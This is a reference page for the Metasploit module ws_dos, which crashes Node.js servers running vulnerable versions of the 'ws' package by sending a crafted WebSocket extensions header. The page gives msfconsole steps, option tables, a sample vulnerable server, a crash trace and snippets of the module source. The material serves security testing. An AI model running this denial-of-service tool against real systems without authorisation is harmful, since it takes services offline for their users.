ws - Denial of Service - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/ws_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ws - Denial of Service
Module: auxiliary/dos/http/ws_dos
Source code: modules/auxiliary/dos/http/ws_dos.rb
Disclosure date: -
Last modification time: 2017-12-11 11:49:31 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 3000
List of CVEs: -

This module exploits a Denial of Service vulnerability in npm module "ws". By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/dos/http/ws_dos
msf auxiliary(ws_dos) > show targets
    ... a list of targets ...
msf auxiliary(ws_dos) > set TARGET target-id
msf auxiliary(ws_dos) > show options
    ... show and set options ...
msf auxiliary(ws_dos) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


ws < 1.1.5 || (2.0.0 , 3.3.1) https://nodesecurity.io/advisories/550

Vulnerable Analysis


This module exploits a Denial of Service vulnerability in npm module "ws". By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.

Verification Steps


  1. Start the vulnerable server using the sample server code below node server.js
  2. Start msfconsole
  3. use auxiliary/dos/http/ws_dos
  4. set RHOST <IP>
  5. run
  6. The server should crash

Options


None.

Server output from crash


/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:40
    paramsList.push(parsedParams);
               ^

TypeError: paramsList.push is not a function
    at value.split.forEach (/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:40:16)
    at Array.forEach ()
    at Object.parse (/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:15:20)
    at WebSocketServer.completeUpgrade (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:230:30)
    at WebSocketServer.handleUpgrade (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:197:10)
    at Server.WebSocketServer._ultron.on (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:87:14)
    at emitThree (events.js:136:13)
    at Server.emit (events.js:217:7)
    at onParserExecuteCommon (_http_server.js:495:14)
    at onParserExecute (_http_server.js:450:3)

Sample server


const WebSocket = require('ws');
const wss = new WebSocket.Server(
{ port: 3000 }
);
wss.on('connection', function connection(ws) {
console.log('connected');
ws.on('message', function incoming(message)
{ console.log('received: %s', message); }
);
ws.on('error', function (err)
{ console.error(err); }
);
});

Go back to menu.

Msfconsole Usage


Here is how the dos/http/ws_dos auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/ws_dos

msf6 auxiliary(dos/http/ws_dos) > show info

       Name: ws - Denial of Service
     Module: auxiliary/dos/http/ws_dos
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Ryan Knell,  Sonatype Security Research
  Nick Starke, Sonatype Security Research

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      3000             yes       The target port (TCP)
  TARGETURI  /                yes       The base path

Description:
  This module exploits a Denial of Service vulnerability in npm module 
  "ws". By sending a specially crafted value of the 
  Sec-WebSocket-Extensions header on the initial WebSocket upgrade 
  request, the ws component will crash.

References:
  https://nodesecurity.io/advisories/550
  https://cwe.mitre.org/data/definitions/400.html

Module Options


This is a complete list of options available in the dos/http/ws_dos auxiliary module:

msf6 auxiliary(dos/http/ws_dos) > show options

Module options (auxiliary/dos/http/ws_dos):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      3000             yes       The target port (TCP)
   TARGETURI  /                yes       The base path

Advanced Options


Here is a complete list of advanced options supported by the dos/http/ws_dos auxiliary module:

msf6 auxiliary(dos/http/ws_dos) > show advanced

Module advanced options (auxiliary/dos/http/ws_dos):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/http/ws_dos module can do:

msf6 auxiliary(dos/http/ws_dos) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/http/ws_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/ws_dos) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

WebSocket Upgrade request Successful, service not vulnerable.


Here is a relevant code snippet related to the "WebSocket Upgrade request Successful, service not vulnerable." error message:

53:	      sock.put(req)
54:	
55:	      data = sock.get_once(-1)  #Attempt to retrieve data from the socket
56:	
57:	      if data =~ /101/   #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.
58:	        print_error("WebSocket Upgrade request Successful, service not vulnerable.")
59:	      else
60:	        fail_with(Failure::Unknown, "An unknown error occured")
61:	      end
62:	
63:	      disconnect

An unknown error occured


Here is a relevant code snippet related to the "An unknown error occured" error message:

55:	      data = sock.get_once(-1)  #Attempt to retrieve data from the socket
56:	
57:	      if data =~ /101/   #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.
58:	        print_error("WebSocket Upgrade request Successful, service not vulnerable.")
59:	      else
60:	        fail_with(Failure::Unknown, "An unknown error occured")
61:	      end
62:	
63:	      disconnect
64:	      print_error("DoS packet unsuccessful")
65:	

DoS packet unsuccessful


Here is a relevant code snippet related to the "DoS packet unsuccessful" error message:

59:	      else
60:	        fail_with(Failure::Unknown, "An unknown error occured")
61:	      end
62:	
63:	      disconnect
64:	      print_error("DoS packet unsuccessful")
65:	
66:	    rescue ::Rex::ConnectionRefused
67:	      print_error("Unable to connect to #{peer}")
68:	    rescue ::Errno::ECONNRESET, ::EOFError
69:	      print_good("DoS packet successful. #{peer} not responding.")

Unable to connect to <PEER>


Here is a relevant code snippet related to the "Unable to connect to <PEER>" error message:

62:	
63:	      disconnect
64:	      print_error("DoS packet unsuccessful")
65:	
66:	    rescue ::Rex::ConnectionRefused
67:	      print_error("Unable to connect to #{peer}")
68:	    rescue ::Errno::ECONNRESET, ::EOFError
69:	      print_good("DoS packet successful. #{peer} not responding.")
70:	    end
71:	  end
72:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Ryan Knell, Sonatype Security Research
  • Nick Starke, Sonatype Security Research

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.